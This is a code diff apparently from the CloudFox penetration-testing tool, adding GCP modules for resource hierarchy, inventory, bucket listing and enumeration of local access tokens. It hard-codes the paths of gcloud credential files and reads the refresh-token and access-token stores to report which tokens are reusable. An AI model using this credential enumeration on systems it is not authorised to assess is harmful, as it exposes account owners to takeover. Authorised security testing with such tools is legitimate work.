Run: func(cmd *cobra.Command, args []string) {
|
||||
err := azure.AzInventoryCommand(AzTenantID, AzSubscriptionID, cmd.Root().Version, AzVerbosity, AzWrapTable)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
},
|
||||
}
|
||||
AzRBACCommand = &cobra.Command{
|
||||
@@ -83,7 +104,10 @@ Enumerate storage accounts for a specific subscription:
|
||||
./cloudfox az storage --subscription SUBSCRIPTION_ID
|
||||
`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
azure.AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, cmd.Root().Version, AzVerbosity, AzWrapTable)
|
||||
err := azure.AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, cmd.Root().Version, AzVerbosity, AzWrapTable)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
},
|
||||
}
|
||||
)
|
||||
@@ -131,5 +155,6 @@ func init() {
|
||||
AzWhoamiCommand,
|
||||
AzRBACCommand,
|
||||
AzInstancesCommand,
|
||||
AzStorageCommand)
|
||||
AzStorageCommand,
|
||||
AzInventoryCommand)
|
||||
}
|
||||
+232
@@ -0,0 +1,232 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"log"
|
||||
"fmt"
|
||||
"os"
|
||||
"github.com/BishopFox/cloudfox/gcp"
|
||||
internal_gcp "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var (
|
||||
// GCP resources filtering options
|
||||
GCPOrganizations []string
|
||||
GCPProjectIDs []string
|
||||
GCPFolderIDs []string
|
||||
|
||||
// Output formatting options
|
||||
GCPOutputFormat string
|
||||
GCPOutputDirectory string
|
||||
GCPVerbosity int
|
||||
GCPWrapTable bool
|
||||
|
||||
GCPProfilesList string
|
||||
GCPAllProfiles bool
|
||||
GCPProfiles []string
|
||||
|
||||
|
||||
// misc options
|
||||
GCPConfirm bool
|
||||
GCPSkipAdminCheck bool
|
||||
GCPIgnoreCache bool
|
||||
|
||||
// command specific options
|
||||
GCPTreeFormat string
|
||||
|
||||
// logger
|
||||
GCPLogger = internal.NewLogger()
|
||||
|
||||
GCPCommands = &cobra.Command{
|
||||
Use: "gcp",
|
||||
Aliases: []string{"gcloud"},
|
||||
Long: `See "Available Commands" for GCP Modules below`,
|
||||
Short: "See \"Available Commands\" for GCP Modules below",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
cmd.Help()
|
||||
},
|
||||
}
|
||||
|
||||
GCPInventoryCommand = &cobra.Command{
|
||||
Use: "inventory",
|
||||
Aliases: []string{},
|
||||
Short: "Display all available GCP resources",
|
||||
Long: `
|
||||
Display available GCP resources:
|
||||
./cloudfox gcp inventory`,
|
||||
Run: runGCPInventoryCommand,
|
||||
}
|
||||
|
||||
GCPAccessTokensCommand = &cobra.Command{
|
||||
Use: "access-tokens",
|
||||
Aliases: []string{},
|
||||
Short: "Display all available local gcloud access tokens",
|
||||
Long: `
|
||||
Display available gcloud access tokens:
|
||||
./cloudfox gcp access-tokens`,
|
||||
Run: runGCPAccessTokensCommand,
|
||||
}
|
||||
|
||||
GCPBucketsCommand = &cobra.Command{
|
||||
Use: "buckets",
|
||||
Aliases: []string{},
|
||||
Short: "Display GCP bucket information",
|
||||
Args: cobra.MinimumNArgs(0),
|
||||
Long: `
|
||||
Display available bucket information:
|
||||
./cloudfox gcp buckets [project [project...]]`,
|
||||
Run: runGCPBucketsCommand,
|
||||
}
|
||||
|
||||
HierarchyIncludeIDs bool
|
||||
GCPHierarchyCommand = &cobra.Command{
|
||||
Use: "hierarchy",
|
||||
Aliases: []string{},
|
||||
Short: "Display GCP resources hierarchy",
|
||||
Long: `
|
||||
Display available resources' hierarchy:
|
||||
./cloudfox gcp hierarchy`,
|
||||
Run: runGCPHierarchyCommand,
|
||||
}
|
||||
)
|
||||
|
||||
func initGCPProfiles() {
|
||||
// bypass profile selection logic for commands that don't require authentication
|
||||
if GCPAccessTokensCommand.CalledAs() != "" {
|
||||
return
|
||||
} else if GCPAccessTokensCommand.CalledAs() != "" {
|
||||
return
|
||||
}
|
||||
// Ensure that profile selection is consistent
|
||||
if (len(GCPProfiles) != 0 || GCPProfilesList != "") && GCPAllProfiles {
|
||||
GCPLogger.Fatal("Error specifying GCP profiles. Choose only one of -p/--profile, -a/--all-profiles, -l/--profiles-list")
|
||||
|
||||
}
|
||||
// at this point, GCPProfiles only contains the profiles submitted over the CLI
|
||||
|
||||
// if the --all-profiles option is submitted, replacing the profiles with all existing ones
|
||||
if GCPAllProfiles {
|
||||
GCPProfiles = internal_gcp.GetAllGCPProfiles()
|
||||
}
|
||||
|
||||
// if --profiles-list option is submitted, adding the profiles from the list to the existing ones
|
||||
if GCPProfilesList != "" {
|
||||
GCPProfiles = append(GCPProfiles, internal_gcp.GetSelectedGCPProfiles(GCPProfilesList)...)
|
||||
}
|
||||
|
||||
// remove duplicate
|
||||
GCPProfiles = internal.RemoveDuplicateStr(GCPProfiles)
|
||||
|
||||
if (len(GCPProfiles) == 0) {
|
||||
GCPLogger.Info("No GCP profile selection submitted, trying to find the default profile...")
|
||||
var allProfiles = internal_gcp.GetAllGCPProfiles()
|
||||
if len(allProfiles) > 0 {
|
||||
GCPProfiles = append(GCPProfiles, allProfiles[len(allProfiles) - 1])
|
||||
} else {
|
||||
GCPLogger.Fatal("Could not find any usable GCP profile")
|
||||
}
|
||||
}
|
||||
|
||||
if !GCPConfirm {
|
||||
result := internal_gcp.ConfirmSelectedProfiles(GCPProfiles)
|
||||
if !result {
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func runGCPHierarchyCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range GCPProfiles {
|
||||
var client = internal_gcp.NewGCPClient(profile)
|
||||
m := gcp.HierarchyModule{
|
||||
Organizations: GCPOrganizations,
|
||||
Projects: GCPProjectIDs,
|
||||
Folders: GCPFolderIDs,
|
||||
Client: *client,
|
||||
}
|
||||
err := m.DisplayHierarchy(GCPTreeFormat)
|
||||
if err != nil {
|
||||
GCPLogger.ErrorM(fmt.Sprintf("Error running %s module on profile %s", globals.GCP_HIERARCHY_MODULE_NAME, profile), globals.GCP_HIERARCHY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func runGCPBucketsCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range GCPProfiles {
|
||||
var client = internal_gcp.NewGCPClient(profile)
|
||||
m := gcp.BucketsModule{
|
||||
Organizations: GCPOrganizations,
|
||||
Projects: GCPProjectIDs,
|
||||
Folders: GCPFolderIDs,
|
||||
Client: *client,
|
||||
}
|
||||
err := m.ListBuckets(args)
|
||||
if err != nil {
|
||||
GCPLogger.ErrorM(fmt.Sprintf("Error running %s module on profile %s", globals.GCP_BUCKETS_MODULE_NAME, profile), globals.GCP_BUCKETS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func runGCPAccessTokensCommand(cmd *cobra.Command, args []string) {
|
||||
m := gcp.AccessTokensModule{
|
||||
Organizations: GCPOrganizations,
|
||||
Projects: GCPProjectIDs,
|
||||
Folders: GCPFolderIDs,
|
||||
}
|
||||
err := m.PrintAccessTokens(GCPOutputFormat, GCPOutputDirectory, Verbosity)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func runGCPInventoryCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range GCPProfiles {
|
||||
var client = internal_gcp.NewGCPClient(profile)
|
||||
m := gcp.InventoryModule{
|
||||
Organizations: GCPOrganizations,
|
||||
Projects: GCPProjectIDs,
|
||||
Folders: GCPFolderIDs,
|
||||
Client: *client,
|
||||
}
|
||||
err := m.PrintInventory(GCPOutputFormat, GCPOutputDirectory, Verbosity)
|
||||
if err != nil {
|
||||
GCPLogger.ErrorM(fmt.Sprintf("Error running %s module on profile %s: %v", globals.GCP_INVENTORY_MODULE_NAME, profile, err), globals.GCP_INVENTORY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
cobra.OnInitialize(initGCPProfiles)
|
||||
// Globals flags for the GCP modules
|
||||
|
||||
GCPCommands.PersistentFlags().StringArrayVar(&GCPProfiles, "profile", []string{}, "GCloud CLI Profile Name")
|
||||
GCPCommands.PersistentFlags().StringVarP(&GCPProfilesList, "profiles-list", "l", "", "File containing a list of GCP CLI profile names separated by newlines")
|
||||
GCPCommands.PersistentFlags().BoolVarP(&GCPAllProfiles, "all-profiles", "a", false, "Use all available and valid GCP CLI profiles")
|
||||
|
||||
// Resource filtering options
|
||||
GCPCommands.PersistentFlags().StringArrayVarP(&GCPOrganizations, "organization", "o", []string{}, "Organization name or number, repetable")
|
||||
GCPCommands.PersistentFlags().StringArrayVarP(&GCPProjectIDs, "projectid", "p", []string{}, "Project slug or number, repeatable")
|
||||
GCPCommands.PersistentFlags().StringArrayVarP(&GCPFolderIDs, "folderid", "f", []string{}, "Folder name or number, repeatable")
|
||||
|
||||
// Global flags for the GCP modules
|
||||
GCPCommands.PersistentFlags().BoolVarP(&GCPConfirm, "yes", "y", false, "Non-interactive mode (like apt/yum)")
|
||||
GCPCommands.PersistentFlags().StringVarP(&GCPOutputFormat, "output", "", "brief", "[\"brief\" | \"wide\" ]")
|
||||
GCPCommands.PersistentFlags().IntVarP(&Verbosity, "verbosity", "v", 1, "1 = Print control messages only\n2 = Print control messages, module output\n3 = Print control messages, module output, and loot file output\n")
|
||||
GCPCommands.PersistentFlags().StringVar(&GCPOutputDirectory, "outdir", defaultOutputDir, "Output Directory ")
|
||||
GCPCommands.PersistentFlags().IntVarP(&Goroutines, "max-goroutines", "g", 30, "Maximum number of concurrent goroutines")
|
||||
GCPCommands.PersistentFlags().BoolVar(&GCPSkipAdminCheck, "skip-admin-check", false, "Skip check to determine if role is an Admin")
|
||||
GCPCommands.PersistentFlags().BoolVarP(&GCPWrapTable, "wrap", "w", false, "Wrap table to fit in terminal (complicates grepping)")
|
||||
GCPCommands.PersistentFlags().BoolVar(&GCPIgnoreCache, "ignore-cache", false, "Disable loading of cached data. Slower, but important if changes have been recently made")
|
||||
|
||||
GCPHierarchyCommand.Flags().BoolVarP(&HierarchyIncludeIDs, "ids", "i", false, "Use this flag to display resources IDs in the hierarchy tree")
|
||||
GCPHierarchyCommand.Flags().StringVar(&GCPTreeFormat, "tree", "horizontal", "[\"horizontal\" | \"vertical\" ]")
|
||||
|
||||
GCPCommands.AddCommand(
|
||||
GCPAccessTokensCommand,
|
||||
GCPHierarchyCommand,
|
||||
GCPInventoryCommand,
|
||||
GCPBucketsCommand,
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package gcp
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
"github.com/fatih/color"
|
||||
"github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
)
|
||||
|
||||
type AccessTokensModule struct {
|
||||
// Filtering data
|
||||
Organizations []string
|
||||
Folders []string
|
||||
Projects []string
|
||||
}
|
||||
|
||||
func (m *AccessTokensModule) PrintAccessTokens(outputFormat string, outputDirectory string, verbosity int) error {
|
||||
GCPLogger.InfoM(fmt.Sprintf("Enumerating GCP local access tokens (%s, %s)...", color.CyanString("default user token"), color.RedString("application-default token")), globals.GCP_ACCESSTOKENS_MODULE_NAME)
|
||||
tokens := gcp.ReadRefreshTokens()
|
||||
accessTokens := gcp.ReadAccessTokens()
|
||||
applicationdefaulthash := gcp.GetDefaultApplicationHash()
|
||||
activeAccount := gcp.GetActiveAccount()
|
||||
|
||||
var tableHead = []string{"Account", "Credential Type", "Validity", "Refresh Token", "Refresh Token needs password"}
|
||||
var tableBody [][]string
|
||||
for _, accessToken := range accessTokens {
|
||||
// prepare token's associated ID (email or hash)
|
||||
var emailinfo string
|
||||
if (accessToken.AccountID == activeAccount) {
|
||||
emailinfo = color.BlueString(accessToken.AccountID)
|
||||
} else {
|
||||
emailinfo = accessToken.AccountID
|
||||
}
|
||||
|
||||
// format expiration time
|
||||
Exp, _ := time.Parse(time.RFC3339, accessToken.TokenExpiry)
|
||||
var timeinfo string
|
||||
if Exp.After(time.Now()) {
|
||||
timeinfo = Exp.Format(time.RFC1123)
|
||||
} else {
|
||||
timeinfo = "EXPIRED"
|
||||
}
|
||||
|
||||
// display token type, user or application credential
|
||||
var tokentype string
|
||||
if (strings.Contains(accessToken.AccountID, "@")) {
|
||||
tokentype = "User"
|
||||
} else {
|
||||
tokentype = "Application"
|
||||
}
|
||||
// is there an associated refres htoken ?
|
||||
var refreshtokeninfo string
|
||||
refreshtokeninfo = "No"
|
||||
for _, refreshtoken := range tokens {
|
||||
if (accessToken.AccountID == refreshtoken.Email) {
|
||||
refreshtokeninfo = "Yes"
|
||||
} else if (accessToken.AccountID == applicationdefaulthash) {
|
||||
refreshtokeninfo = "Yes"
|
||||
emailinfo = color.RedString(emailinfo)
|
||||
}
|
||||
}
|
||||
|
||||
// is there a proof of reauthentication to use the refresh
|
||||
// token ? If not, password is needed
|
||||
var raptinfo string
|
||||
if refreshtokeninfo == "No" {
|
||||
raptinfo = "-"
|
||||
} else if accessToken.RaptToken.Valid {
|
||||
raptinfo = "No"
|
||||
} else {
|
||||
if (tokentype == "Application") {
|
||||
raptinfo = "TBD"
|
||||
} else {
|
||||
raptinfo = "Yes"
|
||||
}
|
||||
}
|
||||
tableBody = append(
|
||||
tableBody,
|
||||
[]string{
|
||||
emailinfo,
|
||||
tokentype,
|
||||
timeinfo,
|
||||
refreshtokeninfo,
|
||||
raptinfo,
|
||||
})
|
||||
}
|
||||
internal.PrintTableToScreen(tableHead, tableBody, false)
|
||||
return nil
|
||||
}
|
||||
+134
@@ -0,0 +1,134 @@
|
||||
package gcp
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"fmt"
|
||||
"sort"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"google.golang.org/api/option"
|
||||
|
||||
"cloud.google.com/go/storage"
|
||||
"google.golang.org/api/iterator"
|
||||
)
|
||||
|
||||
var (
|
||||
GCPLogger = internal.NewLogger()
|
||||
)
|
||||
|
||||
type BucketsModule struct {
|
||||
Client gcp.GCPClient
|
||||
StorageClient *storage.Client
|
||||
|
||||
// Filtering data
|
||||
Organizations []string
|
||||
Folders []string
|
||||
Projects []string
|
||||
}
|
||||
|
||||
type ObjectInfo struct {
|
||||
ObjectName string `json:"objecttName"`
|
||||
ObjectSizeBytes float64 `json:"objectSizeBytes"`
|
||||
IsPublic bool `json:"isPublic"`
|
||||
}
|
||||
|
||||
type BucketInfo struct {
|
||||
BucketName string `json:"bucketName"`
|
||||
BucketSizeMB float64 `json:"bucketSizeMB"`
|
||||
Objects []ObjectInfo `json:"objectInfo"`
|
||||
}
|
||||
|
||||
func (m *BucketsModule) ListBuckets(projects []string) error {
|
||||
// retrieve all resource and do filtering
|
||||
m.Client.GetResourcesRoots(m.Organizations, m.Folders, m.Projects)
|
||||
GCPLogger.InfoM(fmt.Sprintf("Enumerating GCP buckets with account %s...", m.Client.Name), globals.GCP_BUCKETS_MODULE_NAME)
|
||||
|
||||
ctx := context.Background()
|
||||
var err error
|
||||
m.StorageClient, err = storage.NewClient(ctx, option.WithHTTPClient(m.Client.HTTPClient))
|
||||
|
||||
if err != nil {
|
||||
GCPLogger.ErrorM("Could not create GCP storage client...", globals.GCP_BUCKETS_MODULE_NAME)
|
||||
return err
|
||||
}
|
||||
|
||||
|
||||
if len(projects) > 0 {
|
||||
for _, project := range projects {
|
||||
m.ListBucketsInProject(project)
|
||||
}
|
||||
} else {
|
||||
for _, project := range m.Client.Projects {
|
||||
m.ListBucketsInProject(project)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
func (m *BucketsModule) ListBucketsInProject(project string) error {
|
||||
bucketInfos := make(map[string][]BucketInfo)
|
||||
ctx := context.Background()
|
||||
GCPLogger.InfoM(fmt.Sprintf("Iterating through project %s...", project), globals.GCP_BUCKETS_MODULE_NAME)
|
||||
buckets := m.StorageClient.Buckets(ctx, project)
|
||||
for {
|
||||
bucketAttrs, err := buckets.Next()
|
||||
if err == iterator.Done {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
GCPLogger.ErrorM(fmt.Sprintf("Failed to list buckets : %v", err), globals.GCP_BUCKETS_MODULE_NAME)
|
||||
return err
|
||||
}
|
||||
|
||||
bucketName := bucketAttrs.Name
|
||||
GCPLogger.InfoM(fmt.Sprintf("Enumerating bucket %s...", bucketName), globals.GCP_BUCKETS_MODULE_NAME)
|
||||
|
||||
// List all objects in the bucket and calculate total size
|
||||
totalSize := int64(0)
|
||||
var objects []ObjectInfo
|
||||
it := m.StorageClient.Bucket(bucketName).Objects(ctx, nil)
|
||||
for {
|
||||
objectAttrs, err := it.Next()
|
||||
if err == iterator.Done {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
log.Fatalf("Failed to list objects: %v", err)
|
||||
GCPLogger.ErrorM(fmt.Sprintf("Failed to list objects : %v", err), globals.GCP_BUCKETS_MODULE_NAME)
|
||||
break
|
||||
}
|
||||
|
||||
// Get size
|
||||
objectSize := objectAttrs.Size
|
||||
totalSize += objectSize
|
||||
|
||||
// Check if public
|
||||
isPublic := false
|
||||
for _, rule := range objectAttrs.ACL {
|
||||
if rule.Entity == storage.AllUsers {
|
||||
isPublic = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
objects = append(objects, ObjectInfo{ObjectName: objectAttrs.Name, ObjectSizeBytes: float64(objectSize), IsPublic: isPublic})
|
||||
|
||||
if totalSize > 3221225472 { // 3 GiB in bytes
|
||||
GCPLogger.InfoM(fmt.Sprintf("%s bucket is over 3 GiB. Skipping remaining objects in this bucket...", bucketName), globals.GCP_BUCKETS_MODULE_NAME)
|
||||
break
|
||||
}
|
||||
}
|
||||
bucketSizeMB := float64(totalSize) / 1024 / 1024
|
||||
bucketInfos[project] = append(bucketInfos[project], BucketInfo{BucketName: bucketName, BucketSizeMB: bucketSizeMB, Objects: objects})
|
||||
}
|
||||
log.Printf("Sorting resulting list of buckets in descending order %s", project)
|
||||
sort.Slice(bucketInfos[project], func(i, j int) bool {
|
||||
return bucketInfos[project][i].BucketSizeMB > bucketInfos[project][j].BucketSizeMB
|
||||
})
|
||||
|
||||
log.Printf("Done with project %s", project)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package gcp
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
|
||||
// tree stuff
|
||||
"github.com/shivamMg/ppds/tree"
|
||||
)
|
||||
|
||||
type HierarchyModule struct {
|
||||
Client gcp.GCPClient
|
||||
|
||||
// Filtering data
|
||||
Organizations []string
|
||||
Folders []string
|
||||
Projects []string
|
||||
}
|
||||
|
||||
|
||||
func (m *HierarchyModule) DisplayHierarchy(format string) error {
|
||||
GCPLogger.InfoM(fmt.Sprintf("Fetching GCP resources and hierarchy with account %s...", m.Client.Name), globals.GCP_HIERARCHY_MODULE_NAME)
|
||||
var roots = m.Client.GetResourcesRoots(m.Organizations, m.Folders, m.Projects)
|
||||
|
||||
for _, root := range roots {
|
||||
if (format == "horizontal") {
|
||||
tree.PrintHr(root)
|
||||
} else if (format == "vertical") {
|
||||
tree.Print(root)
|
||||
} else {
|
||||
GCPLogger.ErrorM(fmt.Sprintf("Unknown tree format '%s'", format), globals.GCP_HIERARCHY_MODULE_NAME)
|
||||
}
|
||||
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
package gcp
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
)
|
||||
|
||||
type InventoryModule struct {
|
||||
Client gcp.GCPClient
|
||||
// Filtering data
|
||||
Organizations []string
|
||||
Folders []string
|
||||
Projects []string
|
||||
}
|
||||
|
||||
func (m *InventoryModule) PrintInventory(outputFormat string, outputDirectory string, verbosity int) error {
|
||||
GCPLogger.InfoM(fmt.Sprintf("Enumerating GCP resources with account %s...", m.Client.Name), globals.GCP_INVENTORY_MODULE_NAME)
|
||||
for _, project := range m.Projects {
|
||||
searchAllResponse, err := m.Client.ResourcesService.SearchAll(fmt.Sprintf("projects/%s", project)).Do()
|
||||
if (err != nil) {
|
||||
GCPLogger.ErrorM(fmt.Sprintf("Could not list resource within scope: %v", err), globals.GCP_INVENTORY_MODULE_NAME)
|
||||
continue
|
||||
}
|
||||
for _, resource := range searchAllResponse.Results {
|
||||
fmt.Printf("%s - %s\n", resource.DisplayName, resource.AssetType)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+1
-1
@@ -17,7 +17,7 @@ var AAD_USERS_TEST_FILE string
|
||||
|
||||
// Module names
|
||||
const AZ_WHOAMI_MODULE_NAME = "whoami"
|
||||
const AZ_INTERACTIVE_MENU_MODULE_NAME = "interactive-menu"
|
||||
const AZ_INVENTORY_MODULE_NAME = "inventory"
|
||||
const AZ_INSTANCES_MODULE_NAME = "instances"
|
||||
const AZ_RBAC_MODULE_NAME = "rbac"
|
||||
const AZ_STORAGE_MODULE_NAME = "storage"
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
package globals
|
||||
|
||||
// Module names
|
||||
const GCP_WHOAMI_MODULE_NAME = "whoami"
|
||||
const GCP_HIERARCHY_MODULE_NAME = "hierarchy"
|
||||
const GCP_INVENTORY_MODULE_NAME = "inventory"
|
||||
const GCP_ACCESSTOKENS_MODULE_NAME = "access-tokens"
|
||||
const GCP_BUCKETS_MODULE_NAME = "buckets"
|
||||
const GCP_GCLOUD_REFRESH_TOKENS_DB_PATH = ".config/gcloud/credentials.db"
|
||||
const GCP_GCLOUD_ACCESS_TOKENS_DB_PATH = ".config/gcloud/access_tokens.db"
|
||||
const GCP_GCLOUD_DEFAULT_CONFIG_PATH = ".config/gcloud/configurations/config_default"
|
||||
const GCP_GCLOUD_APPLICATION_DEFAULT_PATH = ".config/gcloud/application_default_credentials.json"
|
||||
+3
-1
@@ -2,4 +2,6 @@ package globals
|
||||
|
||||
const CLOUDFOX_USER_AGENT = "cloudfox"
|
||||
const CLOUDFOX_LOG_FILE_DIR_NAME = ".cloudfox"
|
||||
const CLOUDFOX_BASE_DIRECTORY = "cloudfox-output"
|
||||
const CLOUDFOX_BASE_DIRECTORY = ".cloudfox/cloudfox-output"
|
||||
const LOOT_DIRECTORY_NAME = "loot"
|
||||
const CLOUDFOX_VERSION = "1.11.2"
|
||||
@@ -1,101 +1,160 @@
|
||||
module github.com/BishopFox/cloudfox
|
||||
|
||||
go 1.18
|
||||
go 1.20
|
||||
|
||||
require (
|
||||
github.com/Azure/azure-sdk-for-go v67.1.0+incompatible
|
||||
github.com/Azure/go-autorest/autorest v0.11.28
|
||||
github.com/Azure/go-autorest/autorest/azure/auth v0.5.11
|
||||
cloud.google.com/go/resourcemanager v1.7.0
|
||||
cloud.google.com/go/storage v1.28.1
|
||||
github.com/Azure/azure-sdk-for-go v68.0.0+incompatible
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.3.0
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.1.1
|
||||
github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.0.0
|
||||
github.com/Azure/go-autorest/autorest v0.11.29
|
||||
github.com/Azure/go-autorest/autorest/azure/auth v0.5.12
|
||||
github.com/aquasecurity/table v1.8.0
|
||||
github.com/aws/aws-sdk-go-v2 v1.17.1
|
||||
github.com/aws/aws-sdk-go-v2/config v1.18.3
|
||||
github.com/aws/aws-sdk-go-v2/service/apigateway v1.15.25
|
||||
github.com/aws/aws-sdk-go-v2/service/apigatewayv2 v1.12.23
|
||||
github.com/aws/aws-sdk-go-v2/service/apprunner v1.15.0
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudformation v1.24.1
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudfront v1.21.0
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.20.3
|
||||
github.com/aws/aws-sdk-go-v2/service/dynamodb v1.17.7
|
||||
github.com/aws/aws-sdk-go-v2/service/ec2 v1.72.1
|
||||
github.com/aws/aws-sdk-go-v2/service/ecr v1.17.23
|
||||
github.com/aws/aws-sdk-go-v2/service/ecs v1.20.0
|
||||
github.com/aws/aws-sdk-go-v2/service/efs v1.18.0
|
||||
github.com/aws/aws-sdk-go-v2/service/eks v1.23.0
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.14.23
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2 v1.18.26
|
||||
github.com/aws/aws-sdk-go-v2/service/fsx v1.25.4
|
||||
github.com/aws/aws-sdk-go-v2/service/glue v1.35.0
|
||||
github.com/aws/aws-sdk-go-v2/service/grafana v1.10.0
|
||||
github.com/aws/aws-sdk-go-v2/service/iam v1.18.23
|
||||
github.com/aws/aws-sdk-go-v2/service/lambda v1.25.1
|
||||
github.com/aws/aws-sdk-go-v2/service/lightsail v1.24.0
|
||||
github.com/aws/aws-sdk-go-v2/service/mq v1.13.15
|
||||
github.com/aws/aws-sdk-go-v2/service/opensearch v1.11.3
|
||||
github.com/aws/aws-sdk-go-v2/service/ram v1.16.24
|
||||
github.com/aws/aws-sdk-go-v2/service/rds v1.31.0
|
||||
github.com/aws/aws-sdk-go-v2/service/redshift v1.26.16
|
||||
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.13.24
|
||||
github.com/aws/aws-sdk-go-v2/service/route53 v1.25.0
|
||||
github.com/aws/aws-sdk-go-v2/service/s3 v1.29.4
|
||||
github.com/aws/aws-sdk-go-v2/service/sagemaker v1.55.0
|
||||
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.16.8
|
||||
github.com/aws/aws-sdk-go-v2/service/sns v1.18.6
|
||||
github.com/aws/aws-sdk-go-v2/service/sqs v1.19.15
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.33.1
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.17.5
|
||||
github.com/aws/smithy-go v1.13.4
|
||||
github.com/bishopfox/awsservicemap v1.0.0
|
||||
github.com/dominikbraun/graph v0.15.0
|
||||
github.com/fatih/color v1.13.0
|
||||
github.com/aws/aws-sdk-go-v2 v1.18.0
|
||||
github.com/aws/aws-sdk-go-v2/config v1.18.25
|
||||
github.com/aws/aws-sdk-go-v2/service/apigateway v1.16.11
|
||||
github.com/aws/aws-sdk-go-v2/service/apigatewayv2 v1.13.11
|
||||
github.com/aws/aws-sdk-go-v2/service/apprunner v1.17.9
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudformation v1.29.0
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudfront v1.26.6
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.26.0
|
||||
github.com/aws/aws-sdk-go-v2/service/codebuild v1.20.13
|
||||
github.com/aws/aws-sdk-go-v2/service/dynamodb v1.19.7
|
||||
github.com/aws/aws-sdk-go-v2/service/ec2 v1.99.0
|
||||
github.com/aws/aws-sdk-go-v2/service/ecr v1.18.11
|
||||
github.com/aws/aws-sdk-go-v2/service/ecs v1.27.1
|
||||
github.com/aws/aws-sdk-go-v2/service/efs v1.20.1
|
||||
github.com/aws/aws-sdk-go-v2/service/eks v1.27.12
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticache v1.27.0
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.15.10
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2 v1.19.11
|
||||
github.com/aws/aws-sdk-go-v2/service/fsx v1.28.13
|
||||
github.com/aws/aws-sdk-go-v2/service/glue v1.50.0
|
||||
github.com/aws/aws-sdk-go-v2/service/grafana v1.13.1
|
||||
github.com/aws/aws-sdk-go-v2/service/iam v1.20.0
|
||||
github.com/aws/aws-sdk-go-v2/service/lambda v1.35.0
|
||||
github.com/aws/aws-sdk-go-v2/service/lightsail v1.26.6
|
||||
github.com/aws/aws-sdk-go-v2/service/mq v1.14.11
|
||||
github.com/aws/aws-sdk-go-v2/service/opensearch v1.17.0
|
||||
github.com/aws/aws-sdk-go-v2/service/organizations v1.19.6
|
||||
github.com/aws/aws-sdk-go-v2/service/ram v1.18.2
|
||||
github.com/aws/aws-sdk-go-v2/service/rds v1.45.0
|
||||
github.com/aws/aws-sdk-go-v2/service/redshift v1.27.11
|
||||
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.14.12
|
||||
github.com/aws/aws-sdk-go-v2/service/route53 v1.28.1
|
||||
github.com/aws/aws-sdk-go-v2/service/s3 v1.33.1
|
||||
github.com/aws/aws-sdk-go-v2/service/sagemaker v1.83.0
|
||||
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.19.8
|
||||
github.com/aws/aws-sdk-go-v2/service/sns v1.20.11
|
||||
github.com/aws/aws-sdk-go-v2/service/sqs v1.23.0
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.36.4
|
||||
